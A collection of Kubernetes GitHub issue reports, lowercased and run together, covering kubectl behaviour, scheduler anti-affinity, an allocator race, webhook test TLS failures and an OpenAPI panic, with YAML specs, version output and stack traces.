\t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/util/flag/map_string_bool.go:43 +0x59\r flag.iszerovalue 0xc42028df80, 0x0, 0x0, 0x3e4b817 \r \t/usr/local/go/src/flag/flag.go:411 +0x102\r flag.  flagset .printdefaults.func1 0xc42028df80 \r \t/usr/local/go/src/flag/flag.go:482 +0x20b\r flag.  flagset .visitall 0xc4200e8000, 0xc42174fb98 \r \t/usr/local/go/src/flag/flag.go:341 +0x61\r flag.  flagset .printdefaults 0xc4200e8000 \r \t/usr/local/go/src/flag/flag.go:465 +0x46\r flag.printdefaults  \r \t/usr/local/go/src/flag/flag.go:514 +0x2d\r flag.glob..func1  \r \t/usr/local/go/src/flag/flag.go:542 +0xd9\r flag.commandlineusage  \r \t/usr/local/go/src/flag/flag.go:980 +0x27\r flag.  flagset .usage 0xc4200e8000 \r \t/usr/local/go/src/flag/flag.go:843 +0x2f\r flag.  flagset .parseone 0xc4200e8000, 0x61d8bc8, 0x3d70455, 0x19 \r \t/usr/local/go/src/flag/flag.go:885 +0x1d2\r flag.  flagset .parse 0xc4200e8000, 0xc42000c070, 0x1, 0x1, 0x3289580, 0x40cdd90 \r \t/usr/local/go/src/flag/flag.go:930 +0x67\r flag.parse  \r \t/usr/local/go/src/flag/flag.go:958 +0x6f\r k8s.io/kubernetes/test/e2e/framework.viperizeflags  \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/test_context.go:307 +0x30\r k8s.io/kubernetes/test/e2e.init.0  \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e_test.go:44 +0x20\r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : today's master\r

  \r   what happened  :\r i use the  kubectl get pods -o name  command in a number of scripts to get the names of my active pods. recently i noticed that it started failing sometimes. upon further investigation, i noticed that the  -o name  output format will include pods that have been evicted. but  kubectl get pods  and even  kubectl get pods -o wide  do not include these pods. this seems like inconsistent behavior.\r \r   what you expected to happen  :\r i would expect  kubectl get pods -o name  to only return the name of actively running pods, like  kubectl get pods  does.\r \r   how to reproduce it  as minimally and precisely as possible   :\r spin up a pod.\r spin down the same pod.\r \r    \r kubectl get pods\r kubectl get pods -o wide\r    \r \r see no pods\r \r    \r kubectl get pods -o name\r    \r \r see one pod\r \r   anything else we need to know?  :\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.7\ , gitcommit:\ dd5e1a2978fd0b97d9b78e1564398aeea7e7fe92\ , gittreestate:\ clean\ , builddate:\ 2018-04-19t00:05:56z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.7-gke.1\ , gitcommit:\ 1883ce4eb0e057cfc2439ebeb9822da0a9d40405\ , gittreestate:\ clean\ , builddate:\ 2018-05-11t17:16:56z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: gce\r \r - os  e.g. from /etc/os-release : osx 10.11.6\r \r - kernel  e.g.  uname -a  :\r \r    \r darwin 15.6.0 darwin kernel version 15.6.0: wed may  2 21:04:22 pdt 2018; root:xnu-3248.73.10~1/release_x86_64 x86_64\r    \r \r - install tools:\r \r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i use  kubectl get pods -n kube-system -lapp=nginx -w  to watch the changes of pods, but the command will exited after run for a while may be 5~10 minutes , from my point of view, the command should not be exited if i did not cancel my request.\r \r   what you expected to happen  :\r the command should not exited\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.1\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  : bug report\r \r  \r   what happened  :\r \r updating a statefulset sometimes bypasses pod anti-affinity depending on the labels applied on the pod itself.\r \r   what you expected to happen  :\r   how to reproduce it  as minimally and precisely as possible   :\r \r on a 3 node cluster i cover all the nodes with statefulsets i1, i2, and i3  i1.yaml, i2.yaml, i3.yaml below  that have anti-affinity with each other based on the label \ bbb\  and one replica each. there is also a statefulset i0 with one replica which has label \ aaa\  and anti-affinity based on the label \ aaa\   i0-step1.yaml below . all four of these statefulsets have their pods created successfully, with the pod of i0 colocated with one of the pods of i1/i2/i3.\r \r then i update statefulset i0 to also have an anti-affinity based on the label \ bbb\ . depending on whether i also add the label \ bbb\  to the pod template of i0, i see different behavior:\r \r - if i don't add the label  i0-step2-doesntwork.yaml below , the pod restarts and reaches running state even though it should have been prevented from running anywhere due to the anti-affinity with label \ bbb\ .\r \r - if i  do  add the label  i0-step2-works.yaml below , the pod restarts and stays in the pending state as expected. describing the pod correctly indicates that it cannot find a node to be scheduled on because of anti-affinity constraints.\r \r the first behavior seems to be a bug, because the presence of the \ bbb\  label on i0's pod should not affect its anti-affinity with other pods that have that label, because the anti-affinity constraint exists regardless.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r        \r     client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r        \r \r - cloud provider or hardware configuration: three ubuntu 16.04.5 vms on server 2012r2 hyper-v host\r - os  e.g. from /etc/os-release :  version=\ 16.04.5 lts  xenial xerus \  \r - kernel  e.g.  uname -a  :  linux brremy-ub1 4.4.0-134-generic  160-ubuntu smp wed aug 15 14:58:00 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools: \r - others:\r \r ---\r <details>\r <summary>repro spec files</summary>\r \r i0-step1.yaml\r \r    yaml\r apiversion: apps/v1\r kind: statefulset\r metadata:\r   name: i0\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       instance: i0\r   servicename: \ \ \r   template:\r     metadata:\r       labels:\r         aaa: \ \ \r         instance: i0\r     spec:\r       affinity:\r         podantiaffinity:\r           requiredduringschedulingignoredduringexecution:\r           - labelselector:\r               matchexpressions:\r               - key: aaa\r                 operator: exists\r             topologykey: kubernetes.io/hostname\r       containers:\r       - name: foo\r         image: k8s.gcr.io/pause:2.0\r    \r \r i1.yaml\r \r    yaml\r apiversion: apps/v1\r kind: statefulset\r metadata:\r   name: i1\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       instance: i1\r   servicename: \ \ \r   template:\r     metadata:\r       labels:\r         bbb: \ \ \r         instance: i1\r     spec:\r       affinity:\r         podantiaffinity:\r           requiredduringschedulingignoredduringexecution:\r           - labelselector:\r               matchexpressions:\r               - key: bbb\r                 operator: exists\r             topologykey: kubernetes.io/hostname\r       containers:\r       - name: foo\r         image: k8s.gcr.io/pause:2.0\r    \r \r i2.yaml\r \r    yaml\r apiversion: apps/v1\r kind: statefulset\r metadata:\r   name: i2\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       instance: i2\r   servicename: \ \ \r   template:\r     metadata:\r       labels:\r         bbb: \ \ \r         instance: i2\r     spec:\r       affinity:\r         podantiaffinity:\r           requiredduringschedulingignoredduringexecution:\r           - labelselector:\r               matchexpressions:\r               - key: bbb\r                 operator: exists\r             topologykey: kubernetes.io/hostname\r       containers:\r       - name: foo\r         image: k8s.gcr.io/pause:2.0\r    \r \r i3.yaml\r \r    yaml\r apiversion: apps/v1\r kind: statefulset\r metadata:\r   name: i3\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       instance: i3\r   servicename: \ \ \r   template:\r     metadata:\r       labels:\r         bbb: \ \ \r         instance: i3\r     spec:\r       affinity:\r         podantiaffinity:\r           requiredduringschedulingignoredduringexecution:\r           - labelselector:\r               matchexpressions:\r               - key: bbb\r                 operator: exists\r             topologykey: kubernetes.io/hostname\r       containers:\r       - name: foo\r         image: k8s.gcr.io/pause:2.0\r    \r \r i0-step2-doesntwork.yaml\r \r    yaml\r apiversion: apps/v1\r kind: statefulset\r metadata:\r   name: i0\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       instance: i0\r   servicename: \ \ \r   template:\r     metadata:\r       labels:\r         aaa: \ \ \r         instance: i0\r     spec:\r       affinity:\r         podantiaffinity:\r           requiredduringschedulingignoredduringexecution:\r           - labelselector:\r               matchexpressions:\r               - key: aaa\r                 operator: exists\r             topologykey: kubernetes.io/hostname\r           - labelselector:\r               matchexpressions:\r               - key: bbb\r                 operator: exists\r             topologykey: kubernetes.io/hostname\r       containers:\r       - name: foo\r         image: k8s.gcr.io/pause:2.0\r    \r \r i0-step2-works.yaml\r \r    yaml\r apiversion: apps/v1\r kind: statefulset\r metadata:\r   name: i0\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       instance: i0\r   servicename: \ \ \r   template:\r     metadata:\r       labels:\r         aaa: \ \ \r         bbb: \ \ \r         instance: i0\r     spec:\r       affinity:\r         podantiaffinity:\r           requiredduringschedulingignoredduringexecution:\r           - labelselector:\r               matchexpressions:\r               - key: aaa\r                 operator: exists\r             topologykey: kubernetes.io/hostname\r           - labelselector:\r               matchexpressions:\r               - key: bbb\r                 operator: exists\r             topologykey: kubernetes.io/hostname\r       containers:\r       - name: foo\r         image: k8s.gcr.io/pause:2.0\r    \r \r </details>

when taintnodesbycondition is enabled, memory/disk pressure predicates is disabled. i think it's inappropriate. when a node is in memory/disk pressure, we shouldn't  schedule a pod on the node, otherwise it will cause kubelet eviction, i think memory/disk pressure is different with networkunavailable or others, even if  taintnodesbycondition is enabled, we stiil need checknodememorypressurepredicate and checknodediskpressurepredicate.\r \r  60397\r

is this a bug report or feature request?    choose one :    kubernetes version    use  kubectl version  :      client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.1+33cf7b9\ , gitcommit:\ 33cf7b9acbb2cb7c9c72a10d6636321fb180b159\ , gittreestate:\ not a git tree\ , builddate:\ 2016-10-13t15:18:15z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.1\ , gitcommit:\ 33cf7b9acbb2cb7c9c72a10d6636321fb180b159\ , gittreestate:\ clean\ , builddate:\ 2016-10-10t18:13:36z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : -   cloud provider or hardware configuration  : aws mixed c4.2x, m4.2x, g2 -   os    e.g. from /etc/os-release : centos -   kernel    e.g.  uname -a  :  -   install tools  : -   others  :    what happened  : our antiaffinity config is            annotations:         scheduler.alpha.kubernetes.io/affinity: >           {             \ podantiaffinity\ : {               \ preferredduringschedulingignoredduringexecution\ :                   {                   \ labelselector\ : {                     \ matchexpressions\ :                         {                         \ key\ : \ app\ ,                         \ operator\ : \ in\ ,                         \ values\ :  \ our-app-name\                         }                                         },                   \ topologykey\ : \ kubernetes.io/hostname\                  }                             }           }      we wanted to enforce the rule that no node can schedule this app more than once. this config works fine when the number of replicas is below  14-16 , and once we request more replicas,  all new replicas are in pending state and the log shows that the no node satisfying the predicate in the affinity match. but we have a capacity of 35 nodes and resource utilization of all nodes are close to empty, and increase the capacity didn't work either.  we also tried to add namespace to the annotation, and it was the same result.    what you expected to happen  :    how to reproduce it    as minimally and precisely as possible : we were able to reproduce this problem consistently with any simple app such as a simple curl image and run sleep command.     anything else do we need to know  :

there is a race in ipallocator  and the same for portallocator  that may lead to 2 services sharing the same ip  or port .\r \r how can it happen:\r 1. we have this \ repair\  thread responsible for reporting bugs in ip allocations:\r https://github.com/kubernetes/kubernetes/blob/fbd187af4544c3734c2ddf45024972857bf44583/pkg/registry/core/service/portallocator/controller/repair.go\r 2. what it does is in the \ runonce\  method it:\r -  gets allocated ipaddresses\r https://github.com/kubernetes/kubernetes/blob/fbd187af4544c3734c2ddf45024972857bf44583/pkg/registry/core/service/portallocator/controller/repair.go l81\r - lists all services:\r https://github.com/kubernetes/kubernetes/blob/fbd187af4544c3734c2ddf45024972857bf44583/pkg/registry/core/service/portallocator/controller/repair.go l97\r and then processes those services and based on them updates ipaddresses.\r 3. however, in etcd allocating an ipaddress and service is not atomic with creating a service - we first allocate an ipaddres in etcd and only then create/update a service object in etcd.\r 4. that means that having already allocated ipaddres in etcd for service that is not yet written in etcd is valid usecase.\r 5. if    runonce    is called in exactly that time, it will clean up the ipaddress from etcd as unallocated.\r 6. as a result, we may end-up with two services sharding the same ipaddres after that.\r \r the same holds for ports.\r \r @thockin @bprashanth  @kubernetes/sig-network \r

this is a continuation of the  discussions part of the pr to add classname attribute to pv and pvc  https://github.com/kubernetes/kubernetes/pull/40013 issuecomment-278251609 .\r there are 2 main concerns\r 1. ability for a backend/provider to be able to validate a storage class being created  ex: backend does not have fast disks but storage class consists of fast disks . today, the storage class will be created but the volume creation will fail. there are no means for the volume provider to have a way to validate a storage class.\r 2. the ability to assign a volume to a storage class without any validation.  ex: a volume that is not fast can be labelled fast via setting the storage class annotation or attribute . this complicates providing any guarantees. ideally, only volumes created by the provisioner for a storage class should belong to the storage class. any other functionality should be achieved by using labels instead of using storage class as an attribute.

 \r   what happened  :\r \r i wanted to find out how to parse podstatus. found two problems:\r - podstatus docs do not state whether it contains at most one podstatus of type ready, or which one is authoritative in case there are more\r - 1.6 podcondition api docs say that the only type is ready, while in a 1.6 i can see a couple more types:\r    \r     \ status\ : {\r         \ conditions\ :  \r             {\r                 \ lastprobetime\ : null,\r                 \ lasttransitiontime\ : \ 2017-06-06t18:38:49z\ ,\r                 \ status\ : \ true\ ,\r                 \ type\ : \ initialized\ \r             },\r             {\r                 \ lastprobetime\ : null,\r                 \ lasttransitiontime\ : \ 2017-06-25t14:42:27z\ ,\r                 \ status\ : \ false\ ,\r                 \ type\ : \ ready\ \r             },\r             {\r                 \ lastprobetime\ : null,\r                 \ lasttransitiontime\ : \ 2017-06-06t18:38:49z\ ,\r                 \ status\ : \ true\ ,\r                 \ type\ : \ podscheduled\ \r             }\r          ,\r    \r \r   what you expected to happen  :\r \r documentation should say how many podcondition-s there are in podstatus of a given type.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r read https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/ pod-conditions and https://kubernetes.io/docs/resources-reference/v1.6/ podcondition-v1-core\r \r

xref:  49484,  51375 \r the  k8s.io/kubernetes/plugin/pkg/admission/webhook  package is failing tests and doesn't seem to work as expected when run under go1.9. it throws some x509 certificate errors. however, the same tests run successfully under go1.8.\r \r go1.8 successful output:\r    \r $ go test -v ./plugin/pkg/admission/webhook\r === run   testadmit\r got req: /allow\r got req: /disallow\r got req: /disallowreason\r got req: /internalerr\r e1016 15:30:57.032550   19814 admission.go:199  failed calling admission webhook \ internalerr c\ : an error on the server  \ webhook internal server error\   has prevented the request from succeeding\r got req: /internalerr\r e1016 15:30:57.035062   19814 admission.go:199  failed calling admission webhook \ internalerr a\ : an error on the server  \ webhook internal server error\   has prevented the request from succeeding\r got req: /internalerr\r e1016 15:30:57.037306   19814 admission.go:199  failed calling admission webhook \ internalerr b\ : an error on the server  \ webhook internal server error\   has prevented the request from succeeding\r --- pass: testadmit  0.07s \r === run   testgroup\r --- pass: testgroup  0.00s \r === run   testversion\r --- pass: testversion  0.00s \r === run   testoperation\r --- pass: testoperation  0.00s \r === run   testresource\r --- pass: testresource  0.00s \r === run   testdefaultserviceresolver\r === run   testdefaultserviceresolver/scenario_0\r === run   testdefaultserviceresolver/scenario_1\r === run   testdefaultserviceresolver/scenario_2\r --- pass: testdefaultserviceresolver  0.00s \r     --- pass: testdefaultserviceresolver/scenario_0  0.00s \r     --- pass: testdefaultserviceresolver/scenario_1  0.00s \r     --- pass: testdefaultserviceresolver/scenario_2  0.00s \r pass\r ok      k8s.io/kubernetes/plugin/pkg/admission/webhook  0.148s\r    \r \r go1.9 failing output:\r    \r $ go test -v ./plugin/pkg/admission/webhook\r === run   testadmit\r 2017/10/16 15:11:08 http: tls handshake error from 127.0.0.1:62299: remote error: tls: bad certificate\r e1016 15:11:08.664921   90108 admission.go:199  failed calling admission webhook \ disallowreason\ : post https://127.0.0.1:62298/disallowreason: x509: certificate is not valid for any names, but wanted to match webhook-test.default.svc\r 2017/10/16 15:11:08 http: tls handshake error from 127.0.0.1:62302: remote error: tls: bad certificate\r e1016 15:11:08.670346   90108 admission.go:199  failed calling admission webhook \ internalerr c\ : post https://127.0.0.1:62298/internalerr: x509: certificate is not valid for any names, but wanted to match webhook-test.default.svc\r 2017/10/16 15:11:08 http: tls handshake error from 127.0.0.1:62300: remote error: tls: bad certificate\r e1016 15:11:08.670615   90108 admission.go:199  failed calling admission webhook \ internalerr b\ : post https://127.0.0.1:62298/internalerr: x509: certificate is not valid for any names, but wanted to match webhook-test.default.svc\r 2017/10/16 15:11:08 http: tls handshake error from 127.0.0.1:62301: remote error: tls: bad certificate\r e1016 15:11:08.670893   90108 admission.go:199  failed calling admission webhook \ internalerr a\ : post https://127.0.0.1:62298/internalerr: x509: certificate is not valid for any names, but wanted to match webhook-test.default.svc\r 2017/10/16 15:11:08 http: tls handshake error from 127.0.0.1:62303: remote error: tls: bad certificate\r e1016 15:11:08.676384   90108 admission.go:199  failed calling admission webhook \ allow\ : post https://127.0.0.1:62298/allow: x509: certificate is not valid for any names, but wanted to match webhook-test.default.svc\r 2017/10/16 15:11:08 http: tls handshake error from 127.0.0.1:62304: remote error: tls: bad certificate\r e1016 15:11:08.679835   90108 admission.go:199  failed calling admission webhook \ disallow\ : post https://127.0.0.1:62298/disallow: x509: certificate is not valid for any names, but wanted to match webhook-test.default.svc\r --- fail: testadmit  0.02s \r         admission_test.go:221: \ match & disallow ii\ : expected allowed=false, but got err=<nil>\r         admission_test.go:226: \ match & disallow ii\ : expected an error saying \ you shall not pass\ , but got <nil>\r         admission_test.go:221: \ match & disallow\ : expected allowed=false, but got err=<nil>\r         admission_test.go:226: \ match & disallow\ : expected an error saying \ without explanation\ , but got <nil>\r === run   testgroup\r --- pass: testgroup  0.00s \r === run   testversion\r --- pass: testversion  0.00s \r === run   testoperation\r --- pass: testoperation  0.00s \r === run   testresource\r --- pass: testresource  0.00s \r === run   testdefaultserviceresolver\r === run   testdefaultserviceresolver/scenario_0\r === run   testdefaultserviceresolver/scenario_1\r === run   testdefaultserviceresolver/scenario_2\r --- pass: testdefaultserviceresolver  0.00s \r     --- pass: testdefaultserviceresolver/scenario_0  0.00s \r     --- pass: testdefaultserviceresolver/scenario_1  0.00s \r     --- pass: testdefaultserviceresolver/scenario_2  0.00s \r fail\r exit status 1\r fail    k8s.io/kubernetes/plugin/pkg/admission/webhook  0.117s\r    \r \r ---\r @kubernetes/sig-node-bugs @derekwaynecarr \r /

on aws, mutable api calls such as attachvolume or deletevolume have separate api quota from api calls that do not modify the resource. \r \r currently k8s makes a high number of attachvolume and deletevolume api calls even though k8s can check if the operation is going to succeed.\r \r

we don't have imports for k8s.io/code-generator packages, so godeps does not vendor it. we either have to move the generators to docker containers or find a way to vendor them.

is this a bug report or feature request?  :\r   \r   what happened  :\r  it turned out by the hard way  https://github.com/kubernetes/kubernetes/pull/61608 issuecomment-376208064  that  make clean_generated  doesn't remove all generated files but only those that have  zz_generated  prefix. this is counter intuitive : \r \r in fact,   there is no way to clean all generated files  , including clientsets, listers, and informers  maybe something else .\r \r   what you expected to happen  :\r there should be a command that really cleans all generated files. it can be a new command or existing command can be changed to take care about  clientsets/listers/informers.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r after i init the cluster, and create rc successfully, while i create service, the kubernetes would fail\r   what you expected to happen  :\r create service successfully\r   how to reproduce it  as minimally and precisely as possible   :\r   root@localhost ~   kubectl create -f ~/kuber/mysql-svc.yaml\r \r unable to connect to the server: net/http: tls handshake timeout \r \r   anything else we need to know?  :\r the  full operate log:\r   root@localhost ~   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.5\ , gitcommit:\ f01a2bf98249a4db383560443a59bed0c13575df\ , gittreestate:\ clean\ , builddate:\ 2018-03-19t15:59:24z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:13:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r  root@localhost ~   kubectl get rc\r \r name      desired   current   ready     age\r \r mysql     1         1         1         39m\r \r   before create service, everything is ok, but while i create service:  \r \r  root@localhost ~   kubectl create -f ~/kuber/mysql-svc.yaml\r \r unable to connect to the server: net/http: tls handshake timeout\r \r  root@localhost ~   kubectl get rc\r \r unable to connect to the server: net/http: tls handshake timeout\r \r  root@localhost ~   kubectl version\r \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.5\ , gitcommit:\ f01a2bf98249a4db383560443a59bed0c13575df\ , gittreestate:\ clean\ , builddate:\ 2018-03-19t15:59:24z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r   unable to connect to the server: net/http: tls handshake timeout   \r \r the yaml file like this:\r apiversion: v1\r kind: service\r metadata:\r   name: mysql\r spec:\r   ports:\r     - port: 3306\r   selector:\r     app: mysql\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client:1.9.5\r server:1.9.6\r \r - cloud provider or hardware configuration:\r vmware, centos, 1gb ram\r \r - os  e.g. from /etc/os-release :\r centos linux 7 \r \r - kernel  e.g.  uname -a  :\r linux  3.10.0-693.el7.x86_64\r \r - install tools:\r - others:\r

failing job\r \r    sig-release-1.11-blocking gce-ingress-1.11  https://k8s-testgrid.appspot.com/sig-release-1.11-blocking gce-ingress-1.11 \r \r    error\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cos-k8sbeta-ingress/2747 timeout\r \r    build log\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cos-k8sbeta-ingress/2747?log log\r \r  / /  /milestone v1.11\r @kubernetes/sig-testing-bugs \r \r cc @jberkus @tpepper\r \r /assign @bentheelder to investigate\r

https://github.com/kubernetes/kubernetes/pull/46517 enables kubectl listening on a list of user-specified addresses. the feature also defines failure modes on address binding:\r \r - for localhost addresses  ipv4 and ipv6 , silently fail if one of the two addresses fails\r - for other input addresses, fail the command if any of the addresses fails\r \r   what happened  :\r \r it turns out that the failuremode can be overridden based on the order of input addresses https://github.com/kubernetes/kubernetes/pull/70931 pullrequestreview-174655049:\r \r - input addresses:  \ localhost\ , \ 127.0.0.1\ , \ ::1\  , the failuremodes would be\r    \r {protocol: \ tcp4\ , address: \ 127.0.0.1\ , failuremode: \ any\ },\r {protocol: \ tcp6\ , address: \ ::1\ , failuremode: \ any\ },\r     \r - input addresses:  \ 127.0.0.1\ , \ ::1\ , \ localhost\  , the failuremodes would be\r    \r {protocol: \ tcp4\ , address: \ 127.0.0.1\ , failuremode: \ all\ },\r {protocol: \ tcp6\ , address: \ ::1\ , failuremode: \ all\ },\r    \r \r   what you expected to happen  :\r \r i'd expect that kubectl/client-go won't take meaning from the input order. \r \r the corner case may be not likely to happen, but from the conversation in https://github.com/kubernetes/kubernetes/pull/46517/files r179165644, there is still some question around how bind failure should work 1. on start and 2. on close of any address.\r \r <!-- do not edit below this line -->\r  \r cc @goblain @lavalamp @liggitt @m1kola \r 

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-prod-smoke/1989/  failed:  k8s.io  kubectl client  k8s.io  kubectl cluster-info should check if kubernetes master services is included in cluster-info  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134 nov  2 18:30:17.248: all nodes should be ready after test, get https://104.196.26.16/api/v1/nodes: net/http: tls handshake timeout /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:418       previous issues for this test:  28420

we have seen issues many times caused by race condition between kubelet and other components  node controller, route controller, node problem detector  when updating node object.\r \r currently, route controller and node problem detector have already changed to use  patch . however, node controller and kubelet are still using  put .\r \r we should update both of them.\r \r @yujuhong @dchen1107 \r /cc @kubernetes/sig-node

jenkins  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-6-gci-1-7-upgrade-cluster-new/6 k8sio-schedulerpriorities-serial-pods-created-by-replicationcontroller-should-spread-to-different-node \r \r  test-grid  https://k8s-testgrid.appspot.com/1.6-1.7-upgrade gke-cvm-gci-upgrade-cluster-new&include-filter-by-regex=%5eoverall%24%7c%5c%5bk8s%5c.io%5c%5d%5c%20schedulerpriorities%5c%20%5c%5bserial%5c%5d%5c%20pods%5c%20created%5c%20by%5c%20replicationcontroller%5c%20should%5c%20spread%5c%20to%5c%20different%5c%20node \r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/priorities.go:154\r jun 12 20:54:43.472: pods are not spread to each node.\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/priorities.go:152\r    \r \r chronically failing test.  perhaps covers deprecated behavior?\r \r  \r /assign @cheftako  \r \r

\r when i was debugging the source codes , run to \r  /home/johnny/workspace/go/goworks/src/kubernetes-1.7.0/vendor/k8s.io/apiserver/pkg/server/openapi/openapi.go ，it throws an error and exits.\r \r    \r func  o  openapi  init webservices    restful.webservice  error {\r \tif o.config.getoperationidandtags == nil {\r \t\to.config.getoperationidandtags = func r  restful.route   string,   string, error  {\r \t\t\treturn r.operation, nil, nil\r \t\t}\r \t}\r \tif o.config.getdefinitionname == nil {\r \t\to.config.getdefinitionname = func name string   string, spec.extensions  {\r \t\t\treturn name strings.lastindex name, \ /\  +1: , nil\r \t\t}\r \t}\r \r \r \r \r \t\r \r        o.definitions = o.config.getdefinitions func name string  spec.ref {\r  \t\tdefname, _ := o.config.getdefinitionname name \r  \t\treturn spec.mustcreateref definition_prefix + openapi.escapejsonpointer defname  \r  \t} \r \r \r \r \r \tif o.config.commonresponses == nil {\r \t\to.config.commonresponses = map int spec.response{}\r \t}\r \terr := o.buildpaths webservices \r \tif err != nil {\r \t\treturn err\r \t}\r \tif o.config.securitydefinitions != nil {\r \t\to.swagger.securitydefinitions =  o.config.securitydefinitions\r \t\to.swagger.security = o.config.defaultsecurity\r \t}\r \tif o.config.postprocessspec != nil {\r \t\to.swagger, err = o.config.postprocessspec o.swagger \r \t\tif err != nil {\r \t\t\treturn err\r \t\t}\r \t}\r \r \treturn nil\r }\r    \r \r what's wrong with it?\r \r    \r  restful  2017/07/27 00:51:06 log.go:33:  restful/swagger  https://10.0.2.15:6443/swaggerui/ is mapped to folder /swagger-ui/\r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x0 pc=0x199f006 \r \r goroutine 1  running :\r kubernetes-1.7.0/vendor/k8s.io/apiserver/pkg/server/openapi.  openapi .init 0xc421ab7950, 0xc421b0c120, 0x22, 0x22, 0x0, 0x0 \r \txxx/src/kubernetes-1.7.0/vendor/k8s.io/apiserver/pkg/server/openapi/openapi.go:97 +0xe6\r kubernetes-1.7.0/vendor/k8s.io/apiserver/pkg/server/openapi.buildswaggerspec 0xc421b0c120, 0x22, 0x22, 0xc420157200, 0x0, 0x0, 0x0 \r \txxx/src/kubernetes-1.7.0/vendor/k8s.io/apiserver/pkg/server/openapi/openapi.go:70 +0x2bc\r kubernetes-1.7.0/vendor/k8s.io/apiserver/pkg/server/routes.openapi.install 0xc420157200, 0xc420b40000, 0xc420abb810, 0x0 \r \txxx/src/kubernetes-1.7.0/vendor/k8s.io/apiserver/pkg/server/routes/openapi.go:36 +0x96\r kubernetes-1.7.0/vendor/k8s.io/apiserver/pkg/server.  genericapiserver .prepareopenapiservice 0xc420a9d0e0 \r \txxx/src/kubernetes-1.7.0/vendor/k8s.io/apiserver/pkg/server/genericapiserver.go:262 +0xc2\r kubernetes-1.7.0/vendor/k8s.io/apiserver/pkg/server.  genericapiserver .preparerun 0xc420a9d0e0, 0x0 \r \txxx/src/kubernetes-1.7.0/vendor/k8s.io/apiserver/pkg/server/genericapiserver.go:250 +0x95\r 